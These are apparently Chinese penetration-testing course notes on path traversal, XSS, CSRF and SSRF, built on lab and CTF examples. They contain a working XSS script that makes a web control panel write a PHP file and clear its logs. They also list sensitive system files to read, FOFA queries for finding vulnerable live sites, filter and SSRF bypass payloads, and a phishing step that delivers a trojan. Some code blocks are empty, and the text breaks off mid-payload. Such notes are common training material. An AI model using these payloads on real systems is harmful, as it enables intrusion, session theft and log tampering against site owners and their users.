/root/.ssh/authorized_keys //如需登录到远程主机,需要到.ssh目录下,新建authorized_keys文件,并将id_rsa.pub内容复制进去 /root/.ssh/id_rsa //ssh私钥,ssh公钥是id_rsa.pub /root/.ssh/id_ras.keystore //记录每个访问计算机用户的公钥 /root/.ssh/known_hosts //ssh会把每个访问过计算机的公钥(public key)都记录在~/.ssh/known_hosts。当下次访问相同计算机时,OpenSSH会核对公钥。如果公钥不同,OpenSSH会发出警告, 避免你受到DNS Hijack之类的攻击。 /etc/passwd // 账户信息 /etc/shadow // 账户密码文件 /etc/my.cnf //mysql 配置文件 /etc/httpd/conf/httpd.conf // Apache配置文件 /root/.bash_history //用户历史命令记录文件 /root/.mysql_history //mysql历史命令记录文件 /proc/self/fd/fd[0-9]*(文件标识符) /proc/mounts //记录系统挂载设备 /porc/config.gz //内核配置文件 /var/lib/mlocate/mlocate.db //全文件路径 /porc/self/cmdline //当前进程的cmdline参数
案例:
https://portswigger.net/web-security/file-path-traversal/lab-simple
-
访问实验室即可开启靶场
-
任意以url的方式打开页面上的图片https://0ae3006a032d097482c3eea700df003b.web-security-academy.net/image?filename=20.jpg发现可以进行替换文件名
-
开启burp抓包,并将抓取的数据包发送至Repeater处,修改其文件头GET /image?filename=../../../etc/passwd HTTP/2
-
则返回数据包中会显示,linux服务器中的账户信息


文件删除
不建议使用
可能存在安全问题:前台或后台有删除功能应用 利用:常规删除重装锁定配合程序重装或高危操作
登录后台,找到可以删除的页面操作 ,点击删除,并进行抓包,发现数据包中,的删除操作可以进行执行文件名替换(替换为其他文件进行删除)
目录遍历
目录遍历通常是目录权限操作不当,开启了浏览目录的权限,通过目录遍历,可以获取文件名及路径。
-
如果开启目录索引,并且没有索引文件(如index.php、index.html),服务器就会列出当前访问目录中的文件和子目录,从而暴露目录结构
-
通常遍历敏感信息文件,例如如配置文件、日志文件、数据库备份等,并尝试利用这些文件获取进一步的访问权限或执行其他攻击。
-
通过:FOFA:
"index of /" && title=="Index of /" && country="CN"语句查询,可以查出很多存在目录遍历的漏洞网址

目录穿越
目录穿越一般是目录权限配置不当,导致修改路径可以穿越到其他目录
目录穿越(Directory Traversal)是一种安全漏洞,通常发生在应用程序对用户提供的输入(如文件路径)进行不足或不正确验证的情况下 。攻击者通过操纵输入,试图导航到系统文件系统的其他目录,可能导致访问敏感文件或目录,进而进行未经授权的操作。
1、源码限制了访问目录,只能到default及以下包含目录 
选择新建标签页打开连接
复制对应的目录跳转连接地址,并尝试通过增加减少(.../)进行目录穿越。可以访问到未经过容许的目录

XSS跨站脚本攻击
漏洞原理:接受输入数据,输出显示数据后解析执行 基础类型:反射(非持续),存储(持续),DOM-BASE 拓展类型:jquery,mxss,uxss,pdfxss,flashxss,上传xss等 常用标签:https://www.freebuf.com/articles/web/340080.html 攻击利用:盲打,COOKIE盗取,凭据窃取,页面劫持,网络钓鱼,权限维持等 安全修复:字符过滤,实例化编码,http_only,CSP防护,WAF拦截等 测试流程:看输出想输入在哪里,更改输入代码看执行(标签,过滤决定)
通过输出,想输入
数据交互的地方 get、post、headers 反馈与浏览 富文本编辑器 各类标签插入和自定义
数据输出的地方 用户资料 数据输出 评论,留言等 关键词、标签、说明 文件上传



XSS攻击类型
反射型XSS
攻击者通过构造恶意的链接,诱导用户点击,由于链接内所携带的参数会回显于页面中或作为页面的处理数据源,最终造成XSS攻击。
代码示例
<?php
$x = $_GET['x'];
echo $x;
?>

-
输入的x参数若为js脚本语言,则会在页面解析执行js语言
-
可以使用嵌套的方式,进行网络钓鱼
-
http://localhost:63342/demo1/xss.php?x=%3Ciframe%20src=%22http://www.4399.com%22%3E%3C/iframe%3E
-
如果这段代码被插入到一个网页中,并且该网页的用户受到攻击者的控制,那么该用户的浏览器将加载
http://www.xiaodi8.com这个地址,并在页面中嵌入一个<iframe>元素,显示该地址的内容。
-
通常用来窃取用户的信息、劫持用户会话,或者网络钓鱼等
<?php
$x = $_GET['x'];
echo "<img src='$x'>";
?>
XSS一般出现在 搜索框、留言版等一些输入框内,真实的XSS攻击需要考虑过滤和拼接:
-
在前端判断闭合的标签(检查源代码)
<img src='<script>alert(1)</script>'>
-
判断是过滤还是标记拼接
-
标记拼接:使用特定的语句进行替换
http://localhost:63342/demo1/xss.php?x=1' onerror="alert(1)"' -
闭合标记:类似于sql注入
http://localhost:63342/demo1/xss.php?x=1'> <script>alert('xss')</script>
-
案例:
Http User-Agent Checker - Open Admin Tools
1、发现页面会记录UA信息,尝试修改,测试是否存在xss漏洞

2、使用burp抓包,输入xsspayload

3、存在反射型XSS

存储型XSS
存储型XSS是将XSS语句存储到服务器端,持久化的造成XSS攻击
案例安全开发gbook.php示例


-
在用户名和内容中出入XSS语句
<script>alert(1)</script> -
发现每次访问页面的时候,都会弹出1的提示框,说明xss攻击成功
DOM-base型XSS
通过修改原始的客户端代码,受害者浏览器的DOM环境改变,导致有效载荷的执行。 页面本身没有变化,但由于DOM环境被恶意修改,有客户端代码被包含进了页面并执行。
-
寻找可操纵的DOM元素: 攻击者会寻找页面上的DOM元素,例如URL参数、cookie、用户输入等,这些DOM元素的值可能会被动态地嵌入到页面中。
-
构造恶意载荷: 攻击者通过在寻找到的DOM元素中注入恶意代码,构造出一个特殊的输入值。这个输入值在后续被浏览器解释执行时,将导致恶意代码执行。
-
修改DOM环境: 攻击者通过修改DOM元素的值,或者在页面中插入特殊的HTML或脚本标签,改变了原始的DOM环境。
-
触发和执行: 当页面加载或用户与页面交互时,浏览器解析修改后的DOM环境,执行了包含恶意代码的DOM元素,导致攻击生效。
特殊型XSS
SVG-XSS
SVG(Scalable Vector Graphics)是一种基于XML的二维矢量图格式,和我们平常用的jpg/png等图片格式所不同的是SVG图像在放大或改变尺寸的情况下其图形质量不会有所损失,并且我们可以使用任何的文本编辑器打开SVG图片并且编辑它,目前主流的浏览器都已经支持SVG图片的渲染。
SVG内容格式图片
创建SVG格式的图片,并在源代码中加入**<script>alert(1)</script> xss弹窗代码,当访问打开此文件时候,自动弹出弹窗**
<?xml version="1.0" encoding="UTF-8"?>
<svg width="200px" height="188px" viewBox="0 0 200 188" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<!-- Generator: Sketch 57 (83077) - https://sketch.com -->
<title>history</title>
<desc>Created with Sketch.</desc>
<script>alert(1)</script>
</svg>

站点测试:
上传svg文件,查看源码,找到svg的文件链接

访问图片链接

PDF-XSS
PDF 文件是一种常见的文档格式,包含文本、图像、链接等内容。攻击者可以通过在 PDF 文件中插入恶意代码(如 JavaScript 脚本),来实现 PDF XSS 攻击。当用户打开 PDF 文件时,恶意代码会被执行,可能导致用户敏感信息泄露、网站内容篡改等。
PDF-XSS文件构建
-
打开PDF编辑器,创建新文档
-
从视图选项中开启页面缩略图
-
点击第一个缩略图,右键选中属性
-
在右侧页面属性中依次找到动作→开始动作→点击三个点
-
点击新增→运行JavaScript→添加Xss弹窗语句
app.alert(1) -
保存,并上传至上传页面,得到URL访问及可弹出Xss攻击弹窗






SWF-XSS
Flash XSS(跨站脚本)漏洞是指通过 Flash 文件中的 JavaScript 调用,导致恶意代码执行的安全漏洞。Flash 文件可以与 JavaScript 进行通信,如果使用不当,就会引发 XSS 漏洞。
利用方式:
1、制作带有js代码执行文件,利用上传,获取URL,测试JS代码
2、扫描获得swf文件,反编译逆向,分析触发点,触发js
制作swf-xss文件:
1、新建swf文件,可以使用软件提供的模板
2、F9进入代码区域,并置入代码
植入代码:
//取m参数
var m=_root.m;
//调用html中Javascript中的m参数值
flash.external.ExternalInterface.call(m);
3、属性发布设置解析,并点击发布到桌面
- 点击发布设置,将脚本设置为:ActionScript 2.0(置入代码仅支持2.0,否则会报错)



4、将发布在桌面(创建好的携带Xss攻击的swf文件),存放在部署好的网址源码下,并进行访问 。使用触发Xss触发语句,成功弹窗弹出Xss攻击弹窗


测试swf文件是否存在XSS漏洞
xss一是指执行恶意js,那么为什么说flash xss呢?是因为flash有可以调用js的函数,也就是可以和js通信,因此这些函数如果使用不当就会造成xss。常见的可触发xss的危险函数有:getURL,navigateToURL,ExternalInterface.call,htmlText,loadMovie等等
-
项目:JPEXS Free Flash Decompiler
-
通过FOFA语句:"phpwind" && icon_hash="-1005349246"可以查找到许多存在Flash反编译安全性的网址
通过目录扫描:https://www.acg-123.org/images/uploader.swf 发现对应的目录位置
1、利用JPEXS Free Flash Decompiler反编译
2、查找触发危险函数,在AS源码中,使用ctrl+F全局搜索关键词, 例如getURL,navigateToURL,ExternalInterface.call,htmlText,loadMovie

3、this.jsobject = this.loaderInfo.parameters["jsobject"];,程序并未写死可以读取任意传递回来的jsobject
4、触发点为:jsobject

5、将反编译后的文件(下载在本地的放入部署好的网址源码目录下),**直接使用分析出的触发点,进行输入Xss攻击语句,**找可控参数访问触发
http://192.168.137.1:84/uploader.swf?jsobject=alert(1)

MXSS
跨站的艺术-XSS入门与介绍 [Fooying \]](https://www.fooying.com/the-art-of-xss-1-introduction/ " Fooying ]")
mXSS中文是突变型XSS,指的是**原先的Payload提交是无害不会产生XSS** ,**而由于一些特殊原因,如反编码等,导致Payload发生变异,导致的XSS。**
下面的漏洞是存在于**以前版本的PC的QQ客户端的页面预览**功能。

提交的XSS payload已经被转义,不产生危害。

在QQ客户端里分享上面的博客园那篇文章的链接,而QQ存在网址预览功能,于是点击网址可以在右侧显示出优化后的页面的内容,就导致了XSS的产生;这个预览功能实际上是QQ客户端内嵌了一个网页,这个页面对原网页内容进行提取和处理的过程中,将原本无害的XSS Payload进行了转码操作,于是导致了Payload 变异而产生了XSS。 
##### UXSS
UXSS:利用**浏览器或浏览器扩展**存在的漏洞,产生XSS并执行的攻击类型
Microsoft Edge UXSS CVE-2021-34506 Edge浏览器翻译功能导致JS语句被调用执行 [https://www.bilibili.com/video/BV1fX4y1c7rX](https://www.bilibili.com/video/BV1fX4y1c7rX "https://www.bilibili.com/video/BV1fX4y1c7rX")

### XSS攻击利用
#### 凭据窃取
条件:Cookie没有采取防护措施
利用:XSS 平台或手写接受代码
触发:
```
```
接收:
```
```
示例1:
**环境:phpstudy 2018;**
**CMS:dk-xss**
**1、环境搭建**
dk-xss解压并上传到phpstudy的www目录下

在phpstudy新增站点域名,阅读站点下的readme完成配置

新建接收cookie的站点,指定cookie文件夹

在cookie文件夹,创建getcookie.php
```
```
**2、测试**
登录网站:
前台测试账户:18888888888 密码:suibianlu

在计算账户页面插入payload

体现佣金:

登陆后台查看,触发JS
[http://192.168.138.132:81/Admin/jiesuan.html](http://192.168.138.132:81/Admin/jiesuan.html "http://192.168.138.132:81/Admin/jiesuan.html")

触发后,查看接收cookie的网站是否有cookie

尝试进行登录,在F12-\>application-\>设置cookie-----\>在登陆页面修改获得到的url

#### 数据提交
条件:熟悉后台业务功能数据包,利用 JS 写一个模拟提交
利用:凭据获取不到或有防护无法利用凭据进入时执行其他
pyload
```
测试语句:
搭建的恶意脚本:
poc.js //要放在外网服务器WEB目录下,这个代码专门针对小皮面板写的
function poc(){js
$.get('/service/app/tasks.php?type=task_list',{},function(data){
var id=data.data[0].ID;
$.post('/service/app/tasks.php?type=exec_task',{
tid:id
},function(res2){
$.post('/service/app/log.php?type=clearlog',{
},function(res3){},"json");
},"json");
},"json");
}
function save(){
var data=new Object();
data.task_id="";
data.title="test";
data.exec_cycle="1";
data.week="1";
data.day="3";
data.hour="14";
data.minute = "20";
data.shell='echo "" >C:/xp.cn/www/wwwroot/admin/localhost_80/wwwroot/1.php'; //要知道全路径
$.post('/service/app/tasks.php?type=save_shell',data,function(res){
poc();
},'json');
}
save();
```
示例:小皮面板
**1、环境搭建**
直接安装小皮面板安装程序
配置恶意脚本站点

**2、渗透测试**
输入payload

进入后端查看,查看日志触发

发现成功触发,创建php文件

#### 网络钓鱼
部署可访问的钓鱼页面并修改

点击立即下载后,就会下载木马文件
植入XSS代码等待受害者触发
\

#### 溯源综合
BlueLotus_XSSReceiver-master
简单配置即可使用,无需数据库,无需其他组件支持
项目地址:[https://github.com/epoch99/BlueLotus_XSSReceiver-master](https://github.com/epoch99/BlueLotus_XSSReceiver-master "https://github.com/epoch99/BlueLotus_XSSReceiver-master")
搭建非常简单,下载源码下来放入phpstudy目录下访问安装即可

浏览器控制框架-beef-xss
只需执行JS文件,即可实现对当前浏览器的控制,可配合各类手法利用 缺点:如果对方浏览器关闭,权限就会掉 搭建:docker run --rm -p 3000:3000 janes/beef //安装命令

### XSS安全防御
#### CSP内容安全策略
Content Security Policy(内容安全策略)是一种可信白名单机制,用于限制网站中可以包含的内容来源。
工作机制:
* 明确告诉客户端哪些外部资源可以加载和执行,相当于提供白名单
* 实现和执行由浏览器完成,开发者只需提供配置
主要功能:
* 禁止加载外域代码,防止复杂攻击逻辑
* 禁止外域提交,防止网站被攻击后用户数据泄露
* 禁止内联脚本执行(GitHub等严格场景使用)
* 禁止未授权脚本执行(Google Map移动版使用)
**示例:**
未开启csp内容安全策略
```
//加载的是一张我随意百度的图片
```

开启CSP内容安全策略
```
//加载的是一张我随意百度的图片
```
外部引用的资源无法正常被加载

#### HttpOnly属性
禁止页面使用JavaScript访问带有cookie相关的信息
优势:
* 即使发生XSS漏洞,攻击者也无法直接获取关键cookie
* 与CSP策略配合使用可提供多层防护
判断是否开启

httponly明显特征:
示例:
没有启用httponly:
```
使用HttpOnly保护Cookie并赋值的页面
Cookie值:
``` 能够获取cookie  开启http-only ```使用HttpOnly保护Cookie并赋值的页面
Cookie值:
```  #### XSS Filter 通过过滤机制,将\<、\> 、" 、' 、script等进行过滤,达到保护的效果。 使用htmlspecialchars()等函数对特殊字符进行编码 * 常见过滤绕过技术 * 实体化编码绕过 * 实体化现象: 尖括号被转换为HTML实体如\<变为\<,导致XSS语句失效 * 检测方法: 右键审查元素查看前端代码,确认输入内容是否被实体化处理 * 绕过思路: 寻找页面中未被实体化的输出点,可能存在于不同HTML属性中 * 引号闭合技术 * 双引号闭合: 当输出在双引号内时,使用"闭合前面引号,如`">` * 单引号闭合: 根据代码实际使用情况,可能需要使用单引号'进行闭合 * 实战技巧: 黑盒测试时需要同时尝试单双引号闭合,白盒测试可通过查看源码确定使用哪种引号 * 事件触发绕过 * 事件类型: 使用onfocus、onclick、onmouseover等HTML事件触发JS代码 * 应用场景: 当标签属性被过滤时,可在现有标签中添加事件属性如οnclick="alert(1)" * 优势: 不需要完整script标签,直接在合法标签中插入事件属性即可执行 * 高级绕过技术 * 大小写绕过 * 原理: 当过滤器仅匹配小写script时,使用ScRipt等大小写混合形式绕过 * 局限性: 仅对大小写敏感的简单过滤有效,若使用正则表达式如/script/i则无效 * 双写绕过 * 过滤机制: 当过滤器将script替换为空字符串时,使用scrscriptipt形式 * 执行原理: 过滤后中间的script被删除,前后部分拼接仍形成完整script标签 * Unicode编码绕过 * 应用场景: 主要用于URL中的XSS,将关键字符如script转换为Unicode编码 * 浏览器特性: 浏览器会自动解码URL中的Unicode字符,但页面内显示可能不识别 * 示例: javascript:alert(1)可编码为\\u006A\\u0061\\u0062\\u0061\\u0073\\u0063\\u0072\\u0069\\u0070\\u0074:alert(1) 实战注意事项 * 协议检测: 实际应用中常检测URL是否包含http://或https://,需在XSS中保留这些协议标识 * 隐藏属性利用: 检查表单中type=hidden的属性值,可能包含可控制的XSS注入点 * 多参数测试: 黑盒测试时应对所有参数进行测试,包括URL参数和表单隐藏参数 ### XSS黑盒测试 核心思路相同: 黑盒测试XSS与SQL注入的测试思路本质相同,都是寻找输入输出点 测试要点: * 关注页面中显示的数据是否来自用户可控的输入 * 检查GET/POST请求、HTTP头信息(如User-Agent、Cookie等)中的可控制参数 * 验证输入是否被直接输出到页面中执行 **关键判断依据: 主要看JS代码是否被成功执行,而非单纯看输入是否被输出** ### XSS工具推荐 XSStrike工具库 [https://github.com/s0md3v/XSStrike](https://github.com/s0md3v/XSStrike "https://github.com/s0md3v/XSStrike") 测试GET传参的网页: python3 xsstrike.py -u "[http://192.168.26.138/xss.php?payload=1](http://192.168.26.138/xss.php?payload=1 "http://192.168.26.138/xss.php?payload=1")" 测试POST数据: python3 xsstrike.py -u "[http://example.com/search.php](http://example.com/search.php "http://example.com/search.php")" --data "q=query" python3 xsstrike.py -u "[http://example.com/search.php](http://example.com/search.php "http://example.com/search.php")" --data '{"q":"query"} --json' ## CSRF跨站请求伪造 跨站请求伪造(Cross-Site Request Forgery)是一种Web攻击方式,攻击者利用用户已登录状态伪造请求。 攻击流程: * 用户登录受信任网站A(如银行网站)并保持会话 * 用户访问恶意网站B,该网站包含伪造请求代码 * 恶意网站B自动向网站A发起请求(如转账请求) * 网站A误认为这是用户的合法操作 攻击条件: * 伪造数据包:需要获取或构造目标请求的完整数据包(如支付接口参数) * 防护绕过:目标网站无CSRF防护或防护可被绕过(如仅依赖Cookie验证) * 用户触发 * 已登录目标网站 * 访问恶意构造的页面 防护措施: * Referer校验:验证请求来源 * Token机制:添加动态令牌验证 * 验证码:关键操作需二次确认 示例: 1、伪造增加用户数据包 安装zblog,登录到后台用户管理界面  使用burp抓取数据包 右键---\>相关工具---\>生成csrf poc  复制到html后,访问发现无法创建用户  存在一定的安全策略:refer头检验和csrf token检验 ### 安全机制绕过 #### **refer头绕过** * 严谨检测:**完全验证请求来源,无安全缺陷** * 不严谨检测:存在验证逻辑漏洞,可能被绕过 * 如检查是否含有站点地址,而不是检测只有站点地址 绕过方式: referer置空 修改referer:在web服务器通过搭建和站点相同的名称,来绕过不严谨的检测方式(理论) 不严谨检测示例: ``` "; } echo $img; ?>* ``` 该函数从用户指定的URL获取内容,并将其保存到本地文件中[1](https://blog.csdn.net/qq_43378996/article/details/124050308 "1")。 2. **fsockopen()**: ``` ``` · 该函数使用socket与服务器建立TCP连接,传输原始数据[1](https://blog.csdn.net/qq_43378996/article/details/124050308 "1")。 3. **curl_exec()**: ``` ``` 该函数通过cURL获取数据,并将其保存到本地文件中[2](https://www.freebuf.com/articles/web/333318.html "2")。 ### SSRF漏洞挖掘 **黑盒探针:** 业务功能点 1.社交分享功能:获取超链接的标题等内容进行显示 2.转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览 3.在线翻译:给网址翻译对应网页的内容 4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片 5.图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验 6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试 7.网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作 8.数据库内置功能:数据库的比如mongodb的copyDatabase函数 9.邮件系统:比如接收邮件服务器地址 10.编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等 11.未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞 URL关键参数 share wap url link src source target u display sourceURl imageURL domain **白盒分析** **见代码审计(文件读取,加载,数据操作类的函数)** ### SSRF伪协议利用 **http:// Web常见访问,如[http://127.0.0.1](http://127.0.0.1/ "http://127.0.0.1")** **file:/// 从文件系统中获取文件内容,如,file:///etc/passwd** **dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info:** sftp:// SSH文件传输协议或安全文件传输协议 ldap:// 轻量级目录访问协议 tftp:// 简单文件传输协议 **gopher:// 分布式文档传递服务,可使用gopherus生成payload** 由于有部分协议http这类不支持,可以gopher来进行通讯(mysql,redis等) 应用:漏洞利用 或 信息收集 通讯相关服务的时候 工具:Gopherus ### SSRF绕过方式 -限制为[http://www.xxx.com](http://www.xxx.com/ "http://www.xxx.com") 域名 采用http基本身份认证的方式绕过,即@ [http://www.xxx.com@www.xxyy.com](http://www.xxx.com@www.xxyy.com/ "http://www.xxx.com@www.xxyy.com") -限制请求IP不为内网地址 当不允许ip为内网地址时: (1)采取短网址绕过 (2)采取域名解析 (3)采取进制转换 (4)采取3XX重定向 > ctf-show: > > 1、无过滤直接获取 url=[http://127.0.0.1/flag.php](http://127.0.0.1/flag.php "http://127.0.0.1/flag.php") > > 2-3、IP地址进制绕过 十六进制 url=[http://0x7F.0.0.1/flag.php](http://127.0.0.1/flag.php "http://0x7F.0.0.1/flag.php") > > 八进制 url=[http://0177.0.0.1/flag.php](http://127.0.0.1/flag.php "http://0177.0.0.1/flag.php") > > 10 进制整数格式 url=[http://2130706433/flag.php](http://127.0.0.1/flag.php "http://2130706433/flag.php") > > 16 进制整数格式,还是上面那个网站转换记得前缀0x url=[http://0x7F000001/flag.php](http://127.0.0.1/flag.php "http://0x7F000001/flag.php") > > 还有一种特殊的省略模式 127.0.0.1写成127.1 > > 用CIDR绕过localhost url=[http://127.127.127.127/flag.php](http://127.127.127.127/flag.php "http://127.127.127.127/flag.php") > > 还有很多方式 url=[http://0/flag.php](http://0.0.0.0/flag.php "http://0/flag.php") url=[http://0.0.0.0/flag.php](http://0.0.0.0/flag.php "http://0.0.0.0/flag.php") > > 4、域名解析IP绕过 test.xiaodi8.com -\> 127.0.0.1 url=[http://test.xiaodi8.com/flag.php](http://test.xiaodi8.com/flag.php "http://test.xiaodi8.com/flag.php") > > 5、长度限制IP绕过 url=[http://127.1/flag.php](http://127.0.0.1/flag.php "http://127.1/flag.php") > > 6、长度限制IP绕过 url=[http://0/flag.php](http://0.0.0.0/flag.php "http://0/flag.php") > > 7、利用重定向解析绕过 \ > 8、匹配且不影响写法解析 url=[http://ctf.@127.0.0.1/flag.php?show](http://ctf.@127.0.0.1/flag.php?show "http://ctf.@127.0.0.1/flag.php?show") ### SSRF漏洞防御 1. 过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。 2. 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。 3. 限制请求的端口为http常用的端口,比如,80,443,8080,8090。 4. 黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。 5. 禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。 ### 综合案例 环境示例 [https://github.com/sqlsec/ssrf-vuls](https://github.com/sqlsec/ssrf-vuls "https://github.com/sqlsec/ssrf-vuls")  [手把手带你用 SSRF 打穿内网 \| 国光](https://www.sqlsec.com/2021/05/ssrf.html#XXE-%E5%BA%94%E7%94%A8%E8%AF%A6%E6%83%85 "手把手带你用 SSRF 打穿内网 | 国光") 1、发现内网地址 发现内网地址为:172.150.23.21/16网段  2、对内网地址进行探测 访问:[http://172.150.23.21](http://172.150.23.21/ "http://172.150.23.21"),获取数据包发送到introuder  通过响应包长度,探测存活的主机  #### 代码注入 发现172.150.23.22 存在web站点,对web站点进行目录扫描 发送到爆破模块,使用字典爆破  发现存在代码执行   尝试进行注入 ``` http://172.150.23.22/shell.php?cmd=ls%20/ ```  获得flag ``` http://172.150.23.22/shell.php?cmd=cat%20/flag ```  #### SQLI -MYSQL: [https://github.com/tarunkant/Gopherus](https://github.com/tarunkant/Gopherus "https://github.com/tarunkant/Gopherus") python2 gopherus.py --exploit mysql root show variables like '%plugin%' 后续编码一次 #### 命令执行 发现172.150.23.24存在web站点,发现可能存在命令执行漏洞,尝试注入  发现该注入方法无效,因为该数据是以post数据包进行提交,无法直接向172.150.23.24发送post包,使用gopher协议进行构造 ``` gopher://